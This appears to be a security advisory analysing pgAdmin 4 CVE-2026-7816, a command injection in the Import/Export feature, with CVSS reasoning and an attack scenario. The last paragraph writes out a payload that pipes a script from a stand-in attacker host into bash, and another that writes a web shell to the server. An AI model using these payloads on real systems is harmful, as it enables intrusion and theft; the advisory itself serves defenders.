pgAdmin 4 CVE-2026-7816

Requires authenticated access to pgAdmin 4 with valid user credentials (CVSS PR:L). Specifically, the attacker must have permissions to access the Import/Export query export feature within the pgAdmin web interface, which is typically available to any authenticated pgAdmin user regardless of underlying PostgreSQL database privileges. Exploitation does not require admin-level pgAdmin access, database superuser rights, or elevated OS permissions - standard low-privilege database user accounts suffice. No user interaction required (CVSS UI:N) and attack complexity is low (CVSS AC:L), meaning exploitation succeeds reliably once authenticated access is obtained. Network accessibility (CVSS AV:N) means any remote user who can reach the pgAdmin web interface over HTTP/HTTPS can exploit this after authentication. No special pgAdmin configuration, non-default settings, or specific PostgreSQL version required - affects default pgAdmin 4 installations before version 9.15 across all deployment modes. Limiting factor: authentication barrier prevents unauthenticated remote exploitation, but this is a low bar given credential compromise vectors (phishing, default credentials, session hijacking) and insider threat scenarios.

Real-world risk is HIGH for organizations running vulnerable pgAdmin 4 instances accessible to authenticated users. CVSS 8.8 (High) accurately reflects the severity: network-accessible (AV:N), low attack complexity (AC:L), requires only low-privilege authentication (PR:L), no user interaction (UI:N), and enables full system compromise (C:H/I:H/A:H). The authentication barrier (PR:L) limits attack surface compared to unauthenticated RCE but is a low bar in practice - any pgAdmin user with Import/Export privileges can exploit this, including read-only database users or contractors with limited DB access. The vulnerability grants OS-level command execution, elevating impact far beyond database-layer access. EPSS score not provided in input data, limiting quantitative exploitation probability assessment. No CISA KEV listing at time of analysis suggests no confirmed widespread or targeted exploitation yet. No public POC referenced in provided data, but the technical description is sufficiently detailed that exploit development is trivial for attackers with pgAdmin access. The primary risk mitigation is the authentication requirement - external attackers must first obtain valid pgAdmin credentials. However, insider threat risk is CRITICAL, and credential compromise (phishing, credential stuffing, session hijacking) eliminates this barrier. Organizations exposing pgAdmin 4 to the internet or untrusted networks face elevated risk. Patch availability (version 9.15) and clear vendor disclosure via GitHub issue #9899 enable straightforward remediation, making continued exposure to this vulnerability primarily a patching discipline issue rather than a lack of fixes.

An attacker with valid low-privilege pgAdmin credentials (e.g., a contractor account, compromised read-only database user, or insider) logs into the pgAdmin web interface and navigates to the Import/Export query export feature. They craft a malicious query parameter containing the payload: normal_query") TO PROGRAM 'curl http://attacker.com/shell.sh | bash' -- to inject a command execution directive into the psql \copy metacommand template. Upon submission, the unsanitized input breaks out of the parenthetical context, causing pgAdmin to execute the injected shell command on the underlying server host with pgAdmin process privileges. The attacker achieves remote code execution, establishes persistence via cron/systemd, exfiltrates PostgreSQL credentials from pgAdmin configuration files, and pivots to connected database servers. Alternatively, the attacker uses ") TO '/var/www/html/shell.php' to write a web shell for persistent access.